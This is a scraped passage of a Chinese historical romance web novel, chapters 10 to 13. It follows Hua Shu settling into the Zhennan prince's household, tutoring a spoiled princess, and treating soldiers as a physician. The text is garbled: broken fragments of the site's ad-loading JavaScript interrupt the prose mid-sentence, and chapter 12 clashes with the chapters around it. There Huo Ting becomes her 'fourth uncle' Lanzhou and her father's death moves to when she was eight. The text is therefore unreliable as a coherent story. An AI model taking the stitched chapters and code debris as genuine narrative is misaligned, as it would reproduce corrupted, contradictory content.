华良被迫父亲爹风光大葬,掏空家财,心疼得几近昏厥。身为秀才,却像牛马牲畜似的拉了一路棺椁;回来时又被勒令磕头一路,头破血流,手脚打颤。 拳打脚踢她和小白猫时有多么盛气凌人,在街头就有多狼狈不堪。 围观的人纷纷叫好,而骑马行在最前头的男人,始终面无表情。 即便有人禀告华良昏倒,他也只轻描淡写瞥了眼。似乎任何人的生死都无法牵动他情绪,那是一种根植入骨的薄凉。 华姝从小浸在父母宠爱中长大,很难想象一个人到底经历过什么,才会如此。 他令人敬仰是真的,令人畏惧也是真的…… * 如今,置身在规矩森严又气派华贵的王府,华姝好像懂了他一点,又好像仍是雾里看花。 一想到即将再见他,她从头冷到脚,越发如坐针毡。 片刻后,镇南王腾出空来召见,母女俩随管家走进旁边的主屋中堂。 主位那人虎背熊腰、剑眉虎目的粗犷长相,让她们再添拘谨。屈膝行礼时,四肢僵硬:“见过王爷。” 这一代的镇南王名唤霍宗飞,年轻时乃杀伐果决、横扫千军万马之辈,在军中威望颇高。 只不过家里意外诞生一位战神霍霆,军营战场都是用实力说话的地方,即便老子也得给儿子让位。故而霍宗飞不过年近四十,已退下兵马大元帅之职,大多时都在王府处理封地上的民生 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 政务。 “免礼,坐。”霍宗飞坐在主位,嗓音中气十足:“逝者已逝,生者节哀。你们安心住下,日后有任何需求,尽管提。” 话虽如此,两人谢恩后,规规矩矩坐到下首的太师椅处,局促难掩。 霍宗飞瞧得清楚,忽然想到什么:“你们的情况,霍霆在信中已言明。王府诸事,本王也同你们简单讲讲” “霍霆你们业已见过,常年住军营。老二霍霖性子平和,白日这会在书院,晚上就能见到。至于凝雪那丫头,”他叹口气:“自幼丧母,被本王宠坏了。如今年满十岁,有些事父兄不便教管。你们来了正好,往后多照看她一二。” 镇南王妃早逝,孙氏是知晓的。但认真听下来,貌似王府再无其他妻妾。 难怪初入王府,她们母女就能得王爷亲自召见。这让她不由安心许多,至少女儿不会受这些人的委屈。孙氏忙应道:“多谢王爷信任,民妇自当尽心侍奉。” 华姝则注意到,霍宗飞谈及两个儿子时满脸威严,说到女儿时笑得无奈又宠溺,像极了爹在世时对她的样子,对这位王爷的恐惧减轻不少。 更重要的,她听到霍霆常住军营! 这一发现仿佛久旱逢甘霖,让人浑身轻松~~~ “多谢王爷信任,华姝也将尽心侍奉郡主。”华姝笑眯眯应道,露出两颗白净的小虎牙,乖巧又不失俏皮。 霍宗飞瞧着她心生欢喜,“你们乃府中贵客,谈不得侍奉。姝儿可曾读过诗书?若能带着凝雪多读书,已是甚好。” 再高贵的老父亲,摊上不爱读书的娃,也免不得头疼乱投医。 华姝盈盈点头,“我爹生前曾教过,投我以木桃者,报之以琼瑶。”她由衷表示:“您与霍将军待我等恩重如山,姝儿愿为王爷略尽绵薄之力。” “投我以木桃,报之以琼瑶。”此句出自《诗经》,歌咏报恩。霍宗飞对她的才情与品行都越发满意:“华不为是位好父亲,他将你教导得很好。” 忽然被夸,华姝有点不好意思。她羞赧一笑:“王爷也是位好父亲。” “哦,何以见得?” “您适才说要介绍王府诸事,实则句句不离儿女,可见将他们排在心中首位。”华姝甜甜一笑,梨涡朵朵:“和我爹一样好。” “哈哈……”霍宗飞爽朗大笑,对她欢喜更甚:“难得霍霆那性子,都说你是个眼明心亮的姑娘。今日一见,所言不虚” 华姝却笑不出了。 惜字如金的霍将军,竟在信中会提及她,还夸奖她? 这心里面,怎么突突地不踏实呢? 反正霍宗飞对华姝甚是满意,大手一挥,赐予她亲自挑选丫鬟的权利。 有意让她恩威并施,自己收拢忠仆。这对于初来乍到的她而言,实乃及时雨。 * 华姝挑了个圆脸小胖丫,名叫团子。今年十四,嘴碎又活泼的年纪。本在外院做杂活,能荣升一等大丫鬟,对新主子感激极了。 刚一走出主院,团子就迫不及待为华姝介绍:“以王爷的千竹堂为中心,北边是二少爷的白鹭洲,东边是郡主的紫薇阁。姑娘的月桂居在东北角。” 华姝一路往北,来到月桂居门前,暗觉不妙。 王府中心线上住男子,女眷居东侧。郡主的院落与王爷相对。娘暂居隔壁的舒云院,与二少爷相对。 那她的院子,跟谁相对? 华姝僵硬转身,瞧着对面那座灰墙冷肃的“清枫斋”,“这间莫非是……霍将军的院子? 团子咽了口唾沫:“……姑娘聪慧。” 她本不想头一天就吓唬人。 华姝:“……”已经被吓到了。 这算是他给潜在未婚妻的特殊优待? 可是,她能不能不要…… “我刚听王爷说,霍将军常年住军营?”华姝此刻还抱着一丝侥幸。 “是的。” 但团子还有后半句:“将军只有逢年过节才会回府小住。” 比如,过几日的中秋节。 一阵冷凉的秋风袭来,清风斋墙头的枫叶沙沙作响,红得像团血。 华姝的最后一丝侥幸,也被秋风无情地薅走了…… 中秋在即,对面而居,真的要低头不见抬头见了! 11. 第 11 章 “霍将军贵为世子爷,按长幼尊卑排序的话,他不应住在二少爷那间院子、与王爷毗邻而居么?”华姝不解。 “姑娘说得在理。据说将军喜静,就挑了最北边的清枫斋。” 团子推开月桂居的木门,“就像对面的这间院子,闲置好多年了。姑娘瞧瞧还缺什么,奴婢去南边的外院为您补齐。” 华姝走进月桂居,入眼就是庭下的一棵繁茂桂花树,米黄花瓣压弯枝头,沁人甜香迎面扑鼻。 她家也有棵桂花树! 意外的熟悉感,让她不禁喜溢眉梢。 走进主屋,左边是米黄清雅的香闺,右边书房里的满墙医书,更让她喜难自持:“团子,你可知先前是何人住在月桂居?” 华姝隐隐生出一种大胆的猜想。 “这个不知。自从奴婢五年前被买进来,月桂居就一直闲置着。”团子递给她一杯茶水,“不过能去为姑娘打听打听,奴婢跟外院的嬷嬷们很相熟。” “倒也不必麻烦,我就随口一问。” 华姝道谢接过茶盏,毕竟是寄人篱下,她还是处处谨言慎行为好。 比如,“霍将军除了喜静,可还有其他忌讳?” 华姝拉着团子,顺势跪坐在书架前的长案旁,拿出随身带的糖果分给她,以便打听清楚霍霆的喜恶。 小团子吃人嘴软,知无不言:“将军性子清冷,喜怒不形于色。除了他亲卫,府中鲜少有人能靠近。就连郡主,敢拔王爷的胡须,可一瞧见将军立刻安静。” 华姝听得心一颤,看来不是她一人怕他怕得紧呀。 也越发好奇:“将军的性情,是因常年战场厮杀的缘故吗?”可她适才瞧着早年征战过的王爷,还挺平易近人的。 “可能吧。只记得有嬷嬷曾说,”团子回忆:“将军十五岁就上阵杀敌,一人一剑抢回一座城,阻止敌军对上万百姓的屠杀,杀神名号由此而来。” 团子虽然念叨着“杀神”,但语气与有荣焉。 华姝也不得不承认,霍霆虽然性冷可怕,却是不折不扣的民族英雄,是整个镇南王府的骄傲。 十五岁就能让敌国损兵折将,这种奇迹,光是想想都觉得不可思议。可放在性情捉摸不定的霍霆身上,一点都不违和。 华姝反观十五岁的自己,弱小得连爹娘、甚至小白猫都保护不了,不禁耷拉下脑袋,有几分泄气。 但当她余光顺着五彩缤纷的晚霞,扫到一整墙发光的医书后,转而恢复信心—— 闻道有先后,术业有专攻。她从现在开始努力,也就不算太晚! * 清风拂来,桂花树飘香满院,檐下的玉竹风铃“叮咚”作响。 浅色柔和的落日余晖,给树下正挖土的娇小身形,拉出一道长长的暗影。 华姝简单收拾后,将小白猫的骨灰,连同它喜欢的毛球,一同埋到桂花树下,“小白,你先陪姐姐安心住这,好不好?” 小白是她两年前从河边捡的,后来每晚都陪在她枕边,就像家人一样。 见到父亲尸首的那晚,她不敢落泪再惹母亲伤心,更想到父亲出门前说的要她照顾好母亲,所以在人前会故作成熟,只有关起门来抱着小白才敢孩子气地啜泣。 小白似能感应到姐姐的脆弱。平时喜欢爬墙招桃花的小野猫,那几日会乖乖卧在她旁边,时不时用毛茸茸的圆脑袋蹭她腿,打滚翻肚皮,变着花样逗她开心。用它独有的笨拙陪伴,帮姐姐驱散心头沉重,给予莫大力量。 那日眼看她被华良抓住,也是小白突然扑过来,一爪子挠在华良手上,为她争取到宝贵的逃生机会。 华良迫不得已吃痛松手,怒不可遏一脚踹去。小白重重撞到墙上,又弹回地面,“嗷嗷”朝他龇牙,却怎么都爬不起来了。 万幸猫都有九条命,它只是脾脏受损,"回头姐姐再给你做两身棉衣,冬日护好你的脏腑脾胃。等来年开春,咱家小白就又是一条好汉啦!” 华姝记得特别清楚,那日也是在家中的桂花树下。小白吃饱喝足后,欢快舔着她手指“喵喵”回应。 她出门去给它买鱼,等再回家时,白茸茸身子已僵硬、双眼还直勾勾望着门口,像是想和姐姐作最后的告别…… “小白,等姐姐做完两件棉衣,再一起烧给你。” 眼前浮现出她和小白一幕幕的美好回忆,从它初时胆怯、逐渐撒娇、到后来时而黏人时而傲娇,华姝越是回忆,眼泪越是决堤。 团子递来帕子,“姑娘,擦擦吧。” 华姝接过帕子拭泪,“多谢,让你见笑了。” “怎么会?”团子扶她起身,走回房中,“好容貌,好才情,好性情,对猫儿都这么付出真心……能伺候这位新主子,奴婢真真是三生有幸。” “不过您也别太伤心,”团子边为她倒水净脸,边开导道:“猫狗的寿命比人短,走在我们前头也是常有的事。” 华姝走到梳洗台旁,往脸颊泼了一把冷水,“小白不是病死的,是被人活活掐死的。”一想到这,她再度疼得摧心断肠。 “天呐!谁这么可恶?”团子义愤填膺:“那您有找到真凶吗?这种猪狗不如的畜生,就该千刀万剐!” “是我二叔儿子干的,后来多亏霍将军帮忙……” “姝儿,收拾得怎么样了?” 这时,院门“吱呀”作响。是孙氏安顿好舒云院中的杂事,过来瞧她。 华姝不想母亲难过,忙擦干净脸,笑盈盈迎出去,诉说对桂花树和满墙医书的欢喜。 眼见女儿喜欢月桂居,孙氏放下心,越发感激霍霆的安排。 王府每逢初一和十五会同到饭厅用膳。今日八月十二,晚饭由团子领着从华家带来的牛婶去厨房端来,母女俩在月桂居的中堂,同桌而食。 吃饭前,华姝不忘向华不为浅浅道声平安,也分享了满墙医书带来的喜悦。牌位被供奉在孙氏房中,她就往檐下台阶旁倒尽一碗酒。 晚霞秋风,落花满地,檐下的玉竹风铃随风而响,好似亡父在天之灵给予的回应。 华姝欣喜寻声看去,又仰头望着碧落苍穹,水眸盈盈。 ——爹,我和娘在这都好,您放心吧。姝儿会努力长大,照顾好娘,守住我们永远的家。 * 次日清早,惦记着霍宗飞交代的伴读一事,华姝前往霍凝雪的紫薇阁拜见。 起初,丫鬟来讲郡主未起,她就与团子站在门口等。大半时辰后,丫鬟又来讲郡主身子有碍,她后知后觉,自己这是吃了闭门羹。 眼见头顶太阳渐盛,团子心疼说道:“郡主性情一向如此,不是故意针对您。” “没事,我有心理准备。”昨日霍宗飞介绍爱女时,字里行间的无奈;加上团子用霍凝雪去衬托霍霆的性情,其实就有感知了。 更何况她们出身有着云泥之别,又是寄人篱下,总不能主人家给几分薄面,真就忘记自己是谁。华姝故作轻松笑笑:“先回吧,咱们改日再来拜见。” 团子暗自叹口气,姑娘太过温柔,往后怕是少不得被郡主磋磨。 出门一趟,没见到霍凝雪,倒是经过白鹭洲院门口时,意外碰见霍霖。 十七岁的温润美少年,正带着书童准备出门。他眉眼肖似霍霆,但柔和无害。一袭低调的鸦青长衫,透着浓郁儒雅气,“这位,就是新来的华家小姐?” “见过二少爷。”华姝屈膝行礼。 “大哥的朋友就是我的朋友,日后不必多礼。”霍霖拱手回礼后,笑问:“想着你们昨日舟车劳顿,我就暂未去拜会,没想到华姑娘起得这般早。” “王府景色秀美,忍不住想转转……” “姑娘说谎!” 团子忍不住替她打抱不平,提及霍宗飞要华姝陪霍凝雪读书的事,“二少爷,还请您帮帮姑娘吧。我们都在这等了近一个时辰……” 被当场戳破谎言,华姝哭笑不得,尴尬搓搓手指。但瞧着团子都敢向霍霖告状他亲妹妹,可见霍宗飞所言不假,这位二少爷性子平和,宽以待人。 然后就瞧见霍霖平易近人地低笑出声,“我不是笑你,是笑凝雪那丫头。父王让你教她读书,何止身子有碍,都能要她半条命。” 他对华姝解释:“凝雪心眼不坏,今日她是对事不对人。回头我请父王派人去帮你说一声,她明日就不敢不让你进门了。” 华姝被他笑容感染,也是莞尔:“多谢二少爷,我会尽心为郡主陪读的。” 乖巧知礼,与家里的小霸王形成鲜明对比,让霍霖不禁侧目,多瞧上几眼。 十五岁正是介于小姑娘与少女之间的年纪,温婉又透着一股欢脱。笑起来梨涡朵朵,在阳光照耀下,清甜又明媚。 尤其那双狗狗眼,乍看干净无辜,细看又清纯懵懂得引人亲近,想保护…… 霍霖倏地回神,重新摆正自己位置:“华姑娘肯不计前嫌,霍霖在此替舍妹谢过。” '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >“二少爷言重了。” * 翌日,华姝同一时辰前往紫薇阁,果真顺利进门。 中堂内,芙蓉纹路小窗半开,炽碎的晨曦透过紫色金丝窗帘,泼洒在地面的紫罗兰织锦绒毯上。 至于西间书房,晦暗不明,连窗帘都懒怠拉开,可见这位小郡主真是不爱读书的。 华姝不免头疼,但很快若无其事地收回余光,规矩见礼:“华姝见过郡主。” 霍凝雪一袭华美的紫黛薄纱罗裙,抱胸坐在主位,“就是你,非要教本郡主读书?” 她仰头瞧着华姝顿觉没气势,于是站起来。还是不够高,她又站到了太师椅上。直到能俯看华姝,才算满意。 十岁孩童尚未盘发,垂髫麻花辫随着她动作晃来晃去,气势没增,倒是瞧着挺有趣。 华姝忍俊不禁,沉闷心情忽然就轻快起来,“谈不上教导,只是陪读罢了。” “陪读也不是谁来都行的。”霍凝雪扬起下巴,“若能过得了本郡主三关,才算有资格。” 华姝了然,看来这位郡主昨日也是挺忙的,一边身子不适,一边还要准备题目。 第一关,诗词接龙。 “晚来天欲雪,能饮一杯无?”霍凝雪得意挑眉:“上一句。” 诗词接龙一向承接下句,且此上句传诵不广。这题目小有难度,但难不倒华姝:“绿蚁新醅酒,红泥小火炉。” 团子竖起大拇指。 霍凝雪不甘地抿抿唇:“第二关,猜谜。” “你可听好,我今日早膳要吃一道面食,一道荤菜,一碗热汤,一个甜果。”她跳下太师椅,绕着华姝踱步,“这四道吃食必须满足:骨包肉,肉包骨,皮包水,水包/皮。” 团子径直两眼一黑。 旁边的婢女挑眉偷笑。这题目,她可翻找了一日一夜。 华姝这回也有点犯难,抵唇沉思。 皮包水,水包/皮。本是扬州习俗,早间空腹吃茶,晚间泡澡泡脚。可问题是,规定谜底得是吃食,且特定种类。 “想不出来了吧。”霍凝雪叉起小腰,“就你这水平如何教我?赶紧回去……” “灌汤包是皮包水,鸡腿是肉包骨,陈皮甜汤是水包/皮,石榴是骨包肉。” 华姝娓娓道出答案,惊呆了那婢女。 团子也愣住一瞬,而后狂喜:“全对!姑娘好生厉害!” “闭嘴,你可是王府的人。”霍凝雪指着团子,气得七窍生烟。 她也没想到,这么难的题目居然能被答出来,“看来,本郡主是时候拿出看家本领了。那就是——” 捉迷藏。 作为压轴一关,自然不是普通捉迷藏。王府西侧花园,霍凝雪躲进假山密室,既能朝外喊话,又任凭华姝翻找数圈都寻不见人影。 “只有一刻钟啊,找不到我,你可就输……” “霍凝雪,出来。” 熟悉的清冷沉声,陡然响起,仿佛平地一声惊雷! 整座王府花园瞬间鸦雀无声,就连枝头那只黄绿色的杂毛鹦鹉,都识趣地逼上嘴。 密室里,闯了祸的霍凝雪,急得如热锅上的蚂蚁:完了完了,大魔王怎么提前回府啦? 小霸王撞上大魔王,真可谓是小巫见大巫,气势全无…… 王府的假山东西南三面环湖,修有汉白玉护栏,可凭栏观赏湖中的荷花和锦鲤。往南是湖心凉亭,由拱桥相连,一路通往南岸。 假山密室的门面朝北岸,开阖无声无息,独具匠心。 霍霆一袭湖蓝色常服,长身玉立于北岸边。茂密翠柏下,他气场冷肃依旧,仿佛都能让草木无风自动。 霍凝雪不敢磨蹭太久,硬着头皮挪步到他面前,讨好笑道:“大哥回来啦,路上累不累,可要用膳?” 华姝从对面寻声而来,望见假山的巧思,不由震惊于镇南王府的深厚底蕴。但让她更震惊的,还是霍霆提前回府。 躲是躲不掉了,她沿着蜿蜒的汉白玉护栏小路,也来到北岸,规规矩矩行礼,“见过霍将军。” 霍霆目光淡淡扫过两人,“你们何故在此?” 清冷语调,不怒自威。 霍凝雪不寒而栗:“……华姑娘初到府上,我作为主人家,理应带她到处转转。”她转头拼命朝华姝使眼色,“对吧,华姑娘。” ? 烫手山芋突然抛过来,连带霍霆冰冷的目光,让华姝顿时压力倍增。 12. 第 12 章 “老夫人知道今日是您的大日子,表姑娘肯定要来问安。特意命人备了您爱吃的核桃糕,和羊奶茶。” 不等霍霆表态,桂嬷嬷先行扬声笑道 这是对屋内两位主子的婉言提醒,亦是对华姝的变相保护。 屋内谈话内容,关系霍家分家这等大事,自然别人知道得越少越好。即便老夫人疼爱这孙女,但四爷的心思,旁人也不敢妄加揣度。 华姝朝桂嬷嬷感激一笑,她刚刚的确差点失了分寸。 屋内的谈话声,也随之中止。 老夫人慈爱的声音,从雕花窗户处传出:“是姝儿来啦,外面天凉,快些进来坐。” 随即便有丫鬟挑起门帘:“表姑娘快请。” 华姝点头致谢,而后在桂嬷嬷的陪同下,袅袅款款走入主屋内。 从刚刚母子谈话声辨别,两人是坐在右间茶室的窗前软塌上,于是她转脚向右边走去。 也就在这时,那人和缓平淡的嗓音,再度悠悠响起:“圣上赐的府邸,作为别院即可。此前都是三位兄长在照看母亲,日后澜舟也得好生孝敬您才是。” 华姝摇曳生姿的淡绿裙裾,有一瞬的迟缓。 男人这话,自然是说与老夫人听的。 可她不知自己多心与否,隐隐有一丝错觉,这话亦是说给他听的。 不搬走,继续对门住着。 日日低头不见抬头见。 其实不止她,就连身后的桂嬷嬷,脚步亦是有片刻的微顿。 这等母子私密谈话,四爷既是没防着表姑娘,那就是也没拿她当外人呐。 这是好事,桂嬷嬷由衷替华姝开心。 待老夫人百年之后,表姑娘还能有人依靠,老夫人走得也会踏实些。 霍老夫人自然也是通透的。 两好并成一大好,老人家越发欢喜和乐:“好孩子,有你这句话就够了。如今先好生养伤,日后的事日后你再做决定罢。不论何时,只要你欢喜,娘就欢喜。” “祖母安好,……四叔安好。” 两人谈话结束,华姝以恰当好处的步速,也走到檀香袅袅的茶室内,朝软塌上的两人欠身行礼,淡绿色的裙裾微微堆叠在脚边,好似摇曳生莲。 软榻上,霍霆坐在靠近入屋的雕花拱门一侧,长缨贴着门边笔直无声而立。 “冷不冷,坐下说话。” 坐得靠里的老夫人朝她伸出手,华姝乖巧地递手过去。 老夫人顺势拉着好侄女坐到软塌旁的矮凳上,然后看向对面的儿子,“自打澜舟回来后,你们叔侄俩还是头一次见呢吧。” 这一声“叔侄”,听得俩当事人都眸色微异。一人低头去饮茶,不急不缓地。一个则是咬了一小口核桃糕,樱唇秀气地慢慢咀嚼着。 反正是,俩人谁都没有吭声。 若追究起来,那就是嘴都堵上了,不好答话。 一旁的桂嬷嬷,很有眼力见地没让气氛冷掉,笑着插了句嘴:“刚巧老奴才问过,表姑娘说在大夫人那遇到过。” “那感情好啊。”老夫人来了兴致:“你们那日都聊了些啥呀?” 老人家出发点自然是好的。 殊不知,又是致命一问。 霍霆还好,神色如常品着茶。 但华姝就不太妙了,眼前浮现起那日的一件件尴尬事宜,端庄矜持如她,嘴里的糕点差点没咽利索。 木屋内零零碎碎亲密,肯定不能提。 在人家背后说坏话、还被当场抓包的事,她也不好意思说。 经大伯母讲述的,她幼时在他进士文牒上画画的事……华姝没记忆,姑且厚脸不承认吧。 但老夫人的问话,总是要回的。 可不敢指望着那位来为她当挡箭牌。 “……那日为四叔诊脉来着。入秋后天干物燥,姝儿之前为大伙缝制了香囊,这两日也为四叔做了个。”华姝趁机拿出准备好的香囊,起身走到霍霆面前,纤纤玉手递过去。 霍霆放下茶杯,目光顺着眼前的纤细白净皓腕,。徐徐落在跟前人的白净姣好脸蛋上。 清早的明媚晨曦,从他身后的雕花窗户上歇歇照射而入,在少女如画的眉眼上,额外映出一幅喜鹊衔梅的雕花之画。密如鸦羽的卷翘长睫,一如既往地微颤着,垂眼不敢瞧他。 她在外面那会,一进院门同桂嬷嬷打招呼,他就听到了。软软的嗓音,透着点雀跃。 等着他答复是否搬离的紧张眸色,隔着薄薄的细纱窗户纸,也随之落入他眼里。 这会雀跃不复,她应是失望的吧。 看似心思百转,其实也不过一瞬的功夫。 加之霍霆举手投足一向稳慢有序,正得了空吃早间茶点的老夫人,倒也没让察觉异样。 不过,长缨做了多年侍卫,深知他家王爷作为驰骋沙场的战神将军,从来不喜这些酸书呆子的挂件。 见霍霆没第一时间接过,长缨猜测,自家王爷定是碍于老夫人的面子,不好直接拒绝。于是,他索性伸手去接,完事再随便找个没人的地方丢掉便是。 不成想,一只稳健的大手已先他一步接过香囊,慢条斯理地放到袖袋里,“有心了。” 长缨:嗯? 王爷怎么又不按常理出牌? 王爷最近变化有点大啊! 不对劲,太不对劲了…… “应该的,您不嫌弃便好。” 见香囊送出去了,人情债减少几分,华姝坐回去时,唇角禁不住翘起一抹雀跃小弧度。 她规行矩步惯了,笑意一纵即逝。 却是逃不过那双能百步穿杨的法眼。 不过霍霆倒不至于跟个小姑娘计较,老母亲不是才说的,这是他侄女。 目光落在华姝身旁小几的核桃糕上,一时兴起,也从手边的白玉碟子里捡起一块,尝了口。有点子甜,果然是姑娘家的喜好。 他将剩下的半块放回去,低头时,余光不自觉瞥了眼袖子里的香囊。从面料到绣工,精致而华美。 无论选材还是针脚,显然都比他那双黑靴子的要用心多了。 果真是个花言巧语的小骗子。 斜对面,华姝双手捧着羊奶茶盏小口啜饮着,偷瞄过去的眼神注意到男人的悄然举动。 眼睛眨了眨,福至心灵地脸颊一热。 她真不是故意的。 香囊年年都会给府上的人做,做鞋子倒也给祖母做过,但给男人做鞋还是头一回。父亲在她八岁那年就意外故去,府上几位叔伯的鞋子自有妻子缝制,她可不就是没经验嘛。 不过言而总之,那日谈话内容的事,就被华姝用送香囊的事,轻巧地岔开话题。 三人吃了会茶点,母子俩又继续聊起府上大事小情。华姝安静在一旁听着,偶尔应和两句,只等大夫人和霍千羽过来请安,然后就一道往外坐诊去了。 哪知,这母女俩一过来,那晚的事再度被提起,啥啥都瞒不住了哟。 得知华姝说霍霆长得凶,老夫人倒也不气,“你四叔素来是个面冷心热的,姝儿不必怕他。日后若真被他吓到,来找祖母做主便是。” 华姝羞赧应声:“祖母和四叔对我们都很宽好的。” 至于那画画的事,老夫人更是被逗得乐不可支:“你大伯母倒是没记错,姝儿自小可黏着澜舟了。其他几个侄子侄女都不敢去招惹他,唯独那会最小的姝儿,初生牛犊不怕虎。” “对对对,我记得也是这么回事。”大夫人像是找到知音似的,笑着附和。 旁边桂嬷嬷亦是笑着点头。 至于另一位当事人,安稳不动如山,似也在聚精会神听乐子。 孤立无援,这就让人无奈了。 华姝一寸寸埋低头,红着脸不再答话。能让长辈们乐呵乐呵,权当她尽孝了吧。 “我约莫记得那会,”老夫人兴致勃勃地开始陷入漫长的回忆:“是姝儿喝了满满一壶的女儿红,躺在澜舟的书桌上东倒西歪的,才闹出那么个趣事。” “好家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 伙,你三岁就敢一口闷啦?” 霍千羽转头看过来,一脸的惊奇又钦佩:“没瞧出来啊,你这是英雄不问当年勇啊。” 听她这精辟发言,屋内笑声再起。 华姝大窘,头埋得更低,瓮声瓮气地小声辩驳:“我是真没印象了。” 老夫人知道这侄女脸皮薄,索性一碗水端平,将矛头调转到儿子身上,“咱霍家有规定,男子不满十六不准饮酒。那会澜舟年少中进士,心中欢喜就藏了一壶。结果自己一点没捞着,都便宜了小侄女。” 众人亦是忍俊不禁。 但碍于霍霆浑身生人勿进的威严,倒是不敢再笑出声。 桂嬷嬷婉言劝道:“都说岁月如梭,当年的少年进士,这一转眼呐,已贵为王爷了。” “是这个理儿,澜舟今非昔比了。” 在兴头上的老夫人,反应过来,“倒是为娘一时欢喜,说漏了嘴。” “无妨。” 一直没怎么搭话的霍霆,抬眼看向斜对面羞羞答答的人儿,徐徐开口:“幸得母亲提醒,我才能知晓,有个姑娘还欠着我一壶女儿红。” 他语气依旧轻缓沉稳,波澜不惊。 但话里话外,都在暗示讨要他的那壶女儿红。 某个女儿家,瞬间羞红了娇俏小脸。好似当场就要还给他似的。 霍千羽哈哈大笑,再度精辟发言:“那时隔这么多年,按利息折算,可就不是一壶了呢。姝儿,你怕是要为了四叔,倾家荡产了。” 她现在为了他,已经倾家荡产了。 华姝葱白手指搅着淡绿色裙摆,闷闷地应道:“我会想办法还上的。” 不止是那壶女儿红。 霍霆淡淡凝着她,将漂亮脸蛋上的窘迫和失落都看在眼底,没再接话。转头瞧了眼多宝阁上的靛青色沙漏,“时辰差不多了,你们早些出发罢。” 他的话一出,谈笑众人顿时肃然起来 “是差不多了,”霍千羽也瞧一眼沙漏,摇动轮椅,“那祖母、四叔,我们且先去了。” 华姝亦是起身拜别。 老夫人拉着她手,不放心地仔细叮嘱道:“能者多劳但也量力而为,你俩千万别累着自己个。” 华姝乖巧应下,然后就准备隔着霍千羽的轮椅,先一步离那人远远出门去。 岂料,她素手才掀起茶室门口的珠帘叮咚作响,就被男人逮个正着。 “你出身杏林世家,医术固然过硬。然女子行医终究是少数,若为人轻视,可有应对之策?” 熟悉的口吻,又一次适时响起。 威严不容抗拒,且不言明何人。 偏偏又是专门指代她的问话。 华姝不敢不应,脚尖微转,温温吞吞站到他跟前,像学生应对夫子提问一般,垂眸认真应答:“目前能想到的法子是,事实胜于雄辩。” 当初在山上,被那些伤疤彪汉们轻视时,她用的正是这一招。 “若有旁人曲解事实,你当如何?” 霍霆又问道。 “军中将士大多是心明眼亮之辈,想来我稍加解释,总会有人仗义出声,纠正事实的。”华姝又答道。 “若寻衅滋事者,乃是将士们亦不敢得罪的人,你又当如何?”霍霆再问。 “这……” 华姝先前倒是没想过这一层,她鲜少将旁人往坏处去想。 若真要遇到大家伙都不敢得罪之人,那必当是皇亲贵胄级别的贵人了。若被贵人诬陷,她一个无权无势、手无寸铁的小姑娘,又能如何呢? 华姝垂下眉眼,咬着唇想,只要不是入狱砍头的大责难,忍一忍也能过去的吧。 霍霆起初没有催促,只定定瞧着。 待瞧见她那黯然神伤的脸色,复而沉声开口:“无论奸小或贵人,若在外受了责难,不必隐忍。回来告知于我……或你大伯父。” 他从她身上挪开眼,看向霍千羽: “记住,你们是镇南王府的人,是我霍霆的人。” 13. 第 13 章 其实,华姝也一直想再见见这位将士,当面道歉。 可这会大庭广众之下,她实在不便承认此事。尤其霍霆并未将真相告知这人,她更不敢擅自作主。 于是,她轻摇头,“我不认识你。” “但我真的……”刀疤彪汉也意识到旁边人太多,赶忙压低声音:“我真的见过一位女神医,且长得与您极像。” “你、你就只能看见她一双眼,脸都未瞧全,如何就妄下定论?”霍千羽还是极度惧他,但为着华姝,还是颤声反驳道。 “可……” “你莫不是瞧上人家姑娘,故意搭话吧?”旁边的胖老板看不下去了,出言帮忙解围。 刀疤彪汉动了动嘴皮子,终是没再追问,但困惑的目光仍忍不住端详着华姝。 华姝假装没瞧见,温声道:“诊脉吧。” 刀疤彪汉将壮硕粗臂横到手枕上,华姝凝神扣脉,确保被她刺的外伤没想到五脏六腑,稍稍放心些。 然后,她观察他脸色和舌苔等情况,“你近来可是身体多疲乏,经常食欲不振,腹胀?” 刀疤彪汉敬佩地点点头,“不错,全被您说中了。” “你这是湿热入体所致,我给你开一道……” “霍家小姐稍等,属下插一句嘴,还望您莫怪罪。” 一个士兵刚好从旁边隔间看诊完,路过时出言反驳:“属下跟这位兄弟的症状一样,刚刚大夫说了,是燥热之症。” 排队等在门口的士兵,原本就很关注这边看诊的后续。大伙虽没说什么,但现下已面露恍然——瞧瞧,就说女大夫不行吧。 华姝不予理会,只肯定道:“两种病症的确都有上述病症。但他不是燥热,是湿热。” “霍家小姐,您可不能砸我招牌啊?” 给这士兵看诊的旁边大夫,闻言站出来,中气十足地解释道:“他们从岭南那边回到北部中原,本就水土不服,恰逢秋日天干物燥,是而患上的自然燥热之症,不可能是湿热。” 胖老板听后,略略过来叩打刀疤彪汉的脉搏,而后朝华姝难为地点点头,“您不若再重新诊诊,小的瞧着也是燥热。” 霍千羽本来是甚是相信华姝,但瞧胖老板也如此说,不免有些担心。 莫不是姝儿也害怕这刀疤男,一时紧张错诊了? 但当转头去瞧华姝时,却见她目光依旧波澜不惊,不急不缓解释道:“从南方回中原,的确会因水土不服、天干物燥,患上燥热之症。 但正因为他们常年待在南方,那边气候湿热,而他们大多时住在军帐内,床铺低矮,更容易湿邪入体,且多年日积月累。” “各位来瞧他们的面色。” 华姝抱歉一笑:“士兵们常年栉风沐雨,肤色较为幽黑。若瞧得不仔细甄别,燥热的面红耳赤和湿热的面色昏暗,就容易被混淆。” 经她这么一说,其余人不由又仔细观察两人面色,发现那士兵的面色黑中偏红,但刀疤彪汉的脸色则是黑中发黄。 “还真是!” 霍千羽最为欢喜,“没有诊错,就是湿热!” 胖老板和男大夫也相继点头,“霍家小姐心思细腻,这在行医时乃大智慧,我等佩服!” 门口排队的士兵,也随之惊叹: “原来还真是女神医!” “那咱也让霍家小姐帮着瞧瞧!” “刚刚多有轻视,实在汗颜……” 军营里的糙汉子一惯如此,你的实力若真比我强,那我就由衷佩服,该认错就认错!至于怕丢脸,不存在的。 如此一来,女神医的名号正式打了出去,往华姝这个隔间来排队的人,越来越多。 而且还惊喜地发现,华姝会送些自制的特效药膏,大伙更是蜂拥而来。 霍千羽吆喝地热火朝天:“不要挤,不要挤,一个个来,人人都会给诊治的……” 接下来,华姝负责诊脉下药,霍千羽负责将药方子记录在案,并交给药童抓药。两个人小姐妹互相配合,忙得不得空闲,却又不亦乐乎。 * 